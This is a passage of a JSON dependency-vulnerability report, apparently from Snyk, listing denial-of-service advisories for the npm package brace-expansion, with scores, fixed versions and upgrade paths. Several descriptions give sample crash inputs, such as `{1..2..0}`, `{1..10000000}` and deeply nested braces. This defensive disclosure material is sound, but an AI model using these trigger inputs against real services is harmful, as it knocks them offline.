"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": 